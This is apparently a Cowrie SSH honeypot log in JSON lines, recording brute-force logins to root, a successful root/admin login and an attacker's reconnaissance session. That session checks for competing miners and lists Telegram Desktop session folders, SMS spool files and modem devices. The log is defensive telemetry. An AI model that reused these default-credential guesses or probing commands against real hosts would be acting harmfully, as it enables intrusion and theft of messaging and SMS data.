{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ba:ba:5c:22:e9:e7:9c:55:d7:e3:69:36:31:37:fc:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS/7ErwSC1TYdKg+/TgmdZZPUwZYzU12oeJglRuNgvq5WAoqy7pxUL76zKdxtr6f/elkVf8wPA3a3JPAjR0D6EEyhDWL9hvcdfwjD883j9h6h6a7hI86k2zvqugrcctrnEKylCkX1fZh3aLJqgwVINBRosGRXI01cq5ol0eFAlurvBt/pvidp8F/5VE+5U+X9IExS3U8ybZoqFvo+TcgP2K24mf5tNdYiLZlXpc1cU/SP5UCWmTU0zJCAXq3KWodoQURSLmYxJl0oX3LX/VM0nqTXWS10zjbRu0dZ2Zwei/La7JR0F08efkOzlkslpOBl7/oAUH7lb/GETXf6fp2fH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ba:ba:5c:22:e9:e7:9c:55:d7:e3:69:36:31:37:fc:af","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.637196Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ba:ba:5c:22:e9:e7:9c:55:d7:e3:69:36:31:37:fc:af","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDS/7ErwSC1TYdKg+/TgmdZZPUwZYzU12oeJglRuNgvq5WAoqy7pxUL76zKdxtr6f/elkVf8wPA3a3JPAjR0D6EEyhDWL9hvcdfwjD883j9h6h6a7hI86k2zvqugrcctrnEKylCkX1fZh3aLJqgwVINBRosGRXI01cq5ol0eFAlurvBt/pvidp8F/5VE+5U+X9IExS3U8ybZoqFvo+TcgP2K24mf5tNdYiLZlXpc1cU/SP5UCWmTU0zJCAXq3KWodoQURSLmYxJl0oX3LX/VM0nqTXWS10zjbRu0dZ2Zwei/La7JR0F08efkOzlkslpOBl7/oAUH7lb/GETXf6fp2fH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.641212Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"43:4d:c3:0f:b9:4b:54:34:10:1d:06:cf:7b:5b:e0:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKQRPndem8Yv7RuNnYcLPc6CmMhtw/n2eJN2/Ffm5V3jZW6Skp5FKZg3NPXhsEWE7T0b8a6GZepugCMJIWBHNLhNPcQp9qcR6jqUDjJEgNqrecy6RhPNaitusFEEJd4/ceLuLypvqZkCMBBGbjnWay5UcQsbHjgrpeiUAqpFWqCubaTNCghIyl9qB0qwS6iQMJvlgdT6NTpXNAk4oIZk9v6h6GmojvrUQ16n29+ZqdPh6wXZY+6EOqDpJSec9hqvCuIZhtgrCWXofnxvynWQy1VBEZvFa8EmmoKrvbk1gP3SfW98HhKsJ1gSUllEAsMZQUVlxiFHiEoqFy6bcsn7+L","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 43:4d:c3:0f:b9:4b:54:34:10:1d:06:cf:7b:5b:e0:b7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.649990Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"43:4d:c3:0f:b9:4b:54:34:10:1d:06:cf:7b:5b:e0:b7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKQRPndem8Yv7RuNnYcLPc6CmMhtw/n2eJN2/Ffm5V3jZW6Skp5FKZg3NPXhsEWE7T0b8a6GZepugCMJIWBHNLhNPcQp9qcR6jqUDjJEgNqrecy6RhPNaitusFEEJd4/ceLuLypvqZkCMBBGbjnWay5UcQsbHjgrpeiUAqpFWqCubaTNCghIyl9qB0qwS6iQMJvlgdT6NTpXNAk4oIZk9v6h6GmojvrUQ16n29+ZqdPh6wXZY+6EOqDpJSec9hqvCuIZhtgrCWXofnxvynWQy1VBEZvFa8EmmoKrvbk1gP3SfW98HhKsJ1gSUllEAsMZQUVlxiFHiEoqFy6bcsn7+L","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.654547Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:b3:b0:c3:07:4d:a4:3a:53:4f:2e:69:fb:69:50:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC42F4V0xMwHKdTewueVddCBAxaqttguMIi6NguKuBNfsXhhh1PuBLl2POHXxHwdygfC7/VIZdHB5P1/1Em/HeNxAoYmHL/U9ztOnRfxgBJw3m3r+uHDbwlbnC7hE8qdaU62h5sSgEecxml0BGEcH1Y+StJn9LxToY6DZ+JgUE6YuWFA4V5enbwJK/cC2Uiism5ghBqoXqy1w2Fyf0q8usTrVxaDSKQrGJFqw12CztKetXNsGLd2deRHfcjvt01+gpPDNf7zz1kxNBoQ9lJYNheKafpvjL8vppxPbDmR6AekOI8mhgdE5JmzwqFnwiGUtE9LOHdU77Qs+TIh8IZ1ZOJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:b3:b0:c3:07:4d:a4:3a:53:4f:2e:69:fb:69:50:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.666636Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:b3:b0:c3:07:4d:a4:3a:53:4f:2e:69:fb:69:50:d0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC42F4V0xMwHKdTewueVddCBAxaqttguMIi6NguKuBNfsXhhh1PuBLl2POHXxHwdygfC7/VIZdHB5P1/1Em/HeNxAoYmHL/U9ztOnRfxgBJw3m3r+uHDbwlbnC7hE8qdaU62h5sSgEecxml0BGEcH1Y+StJn9LxToY6DZ+JgUE6YuWFA4V5enbwJK/cC2Uiism5ghBqoXqy1w2Fyf0q8usTrVxaDSKQrGJFqw12CztKetXNsGLd2deRHfcjvt01+gpPDNf7zz1kxNBoQ9lJYNheKafpvjL8vppxPbDmR6AekOI8mhgdE5JmzwqFnwiGUtE9LOHdU77Qs+TIh8IZ1ZOJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.670586Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f3:ac:61:9e:e6:2b:3f:2d:30:58:9e:05:5d:ff:7e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeT9robsAdOTd7Mkgt/vEiX1ztVDNKH2uz4TRX/g7SY6/HMi7bOaqaX39//o20Oz+MrXvmQK/IEuELSucZJo7HM3+ddKEyNtQRenlLrdC4cs1kxlIqPp0yTyj4egiOxtB5/KY3idQ260oYnH5ZnP2ejVfDNbRakZH4i4mfhF+qMpapPvICKLo8iQlqK+zbEyN6xsLTrHN0ZU+kTU16fMMxC2Y7jjBhqpWDZ3evl53lCDiLr/UyRBnDrIM8t4uCGxG1SuIpvwZpJRF1gy6cc9NZvQMjllm9fMaI2qB54i7+0dddCdiCEZ838wozUK/Ubr2bWYHTNZIG+pAnxfyRroyZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f3:ac:61:9e:e6:2b:3f:2d:30:58:9e:05:5d:ff:7e:bb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.681592Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f3:ac:61:9e:e6:2b:3f:2d:30:58:9e:05:5d:ff:7e:bb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDeT9robsAdOTd7Mkgt/vEiX1ztVDNKH2uz4TRX/g7SY6/HMi7bOaqaX39//o20Oz+MrXvmQK/IEuELSucZJo7HM3+ddKEyNtQRenlLrdC4cs1kxlIqPp0yTyj4egiOxtB5/KY3idQ260oYnH5ZnP2ejVfDNbRakZH4i4mfhF+qMpapPvICKLo8iQlqK+zbEyN6xsLTrHN0ZU+kTU16fMMxC2Y7jjBhqpWDZ3evl53lCDiLr/UyRBnDrIM8t4uCGxG1SuIpvwZpJRF1gy6cc9NZvQMjllm9fMaI2qB54i7+0dddCdiCEZ838wozUK/Ubr2bWYHTNZIG+pAnxfyRroyZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.686892Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:e1:99:8f:64:64:e7:44:7d:b6:2d:16:ed:2f:f8:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcnbSjh39V6InEjropqCEKAO+oUsHq2LUaITypi2XRovR/A5u9MwqNEcYgdJB5mMPu42bGnJ1Jq0J12la83TekDserLv5kq8xiGQHiy979qfJWo2UWUPBatqiJ8QN2nDXCgDT0MiY6kNTYC5bVuf4NE0WK79XsSvdWm32V6d+pEFnPeABGVehpkybZqwRRnILxFITeVZiTcr0HpIfB4RvMbQZUgaWGiZzrhb/lJeTj3zFcR+tkqNRVncEJNizJO3nxo22xf6jlDgga0LYoJm4ObRhqN0r6DwzWjQAAVk+ju+QvLnpONE7uLnhQRspRlOIQngFDi316EBfKqweOSlCq+oPte+DJ0JdrcO5BxhHcUNsX8HIHg4JFlrVzSF1Jz359WxEtmUA9hgkS8lUFpEBKOofajwN7l4CUE54c0TTA8jMizPoRf9XIEO+blyZraUknbnkvhvxo5iG6YpT1vPDJNL4Tmia08USjpu0Y63F/vgvEw0627leCTuRU8fI2l8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:e1:99:8f:64:64:e7:44:7d:b6:2d:16:ed:2f:f8:a8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.695237Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:e1:99:8f:64:64:e7:44:7d:b6:2d:16:ed:2f:f8:a8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDWcnbSjh39V6InEjropqCEKAO+oUsHq2LUaITypi2XRovR/A5u9MwqNEcYgdJB5mMPu42bGnJ1Jq0J12la83TekDserLv5kq8xiGQHiy979qfJWo2UWUPBatqiJ8QN2nDXCgDT0MiY6kNTYC5bVuf4NE0WK79XsSvdWm32V6d+pEFnPeABGVehpkybZqwRRnILxFITeVZiTcr0HpIfB4RvMbQZUgaWGiZzrhb/lJeTj3zFcR+tkqNRVncEJNizJO3nxo22xf6jlDgga0LYoJm4ObRhqN0r6DwzWjQAAVk+ju+QvLnpONE7uLnhQRspRlOIQngFDi316EBfKqweOSlCq+oPte+DJ0JdrcO5BxhHcUNsX8HIHg4JFlrVzSF1Jz359WxEtmUA9hgkS8lUFpEBKOofajwN7l4CUE54c0TTA8jMizPoRf9XIEO+blyZraUknbnkvhvxo5iG6YpT1vPDJNL4Tmia08USjpu0Y63F/vgvEw0627leCTuRU8fI2l8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.700210Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:14.716687Z","src_ip":"104.236.66.186","session":"5c21ec252bb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.159.149.21","src_port":39466,"dst_ip":"10.17.0.5","dst_port":22,"session":"633c3e2937dc","protocol":"ssh","message":"New connection: 129.159.149.21:39466 (10.17.0.5:22) [session: 633c3e2937dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:20.694871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:20.715456Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f45fb203c31069bb280067b71ed92ccb","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f45fb203c31069bb280067b71ed92ccb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:20.856512Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:21.540567Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:22.689134Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.115921Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/ip cloud print","message":"CMD: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.119319Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"/ip cloud print","message":"Command not found: /ip cloud print","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.122318Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","size":30,"shasum":"b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/b846225e0081fa9151eb29ac62be1dea60bb9c567dba6c3ca3b1c6169b6d750d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.270310Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.607651Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ifconfig","message":"CMD: ifconfig","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.611224Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","size":909,"shasum":"1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/1d6f385dd0e7ccc3ada3e24e973fd850470dbb222547ea0c1cb7c9f6d9e1dc5e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.765630Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":41218,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8c09e3da7c1","protocol":"ssh","message":"New connection: 209.99.184.143:41218 (159.203.135.109:22) [session: d8c09e3da7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.800911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.806040Z","src_ip":"209.99.184.143","session":"d8c09e3da7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:23.898211Z","src_ip":"209.99.184.143","session":"d8c09e3da7c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.098298Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.101547Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.248907Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"janus","password":"janus","message":"login attempt [janus/janus] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.296959Z","src_ip":"209.99.184.143","session":"d8c09e3da7c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.599222Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo","message":"CMD: cat /proc/cpuinfo","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.602605Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","size":1192,"shasum":"52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/52a532334011a67d1c41a57eea38ed25893bff4b6c264c748c3f2df576a47f4a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:24.753108Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.097948Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps | grep '[Mm]iner'","message":"CMD: ps | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.101561Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","size":0,"shasum":"4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4e9fdfe29ef2ada08ab1e29f7b3ef7d297dfa86d002069289e7a7ae21b343904 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.255042Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.391142Z","src_ip":"209.99.184.143","session":"d8c09e3da7c1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.597659Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ps -ef | grep '[Mm]iner'","message":"CMD: ps -ef | grep '[Mm]iner'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.601229Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","size":0,"shasum":"e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/e5cefcb1b141654b896106c8dc78ae972511ca8772b28e593dbe256993fa8437 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:25.755391Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.099183Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","message":"CMD: ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T16:21:26.102152Z","src_ip":"129.159.149.21","session":"633c3e2937dc","protocol":"ssh"}
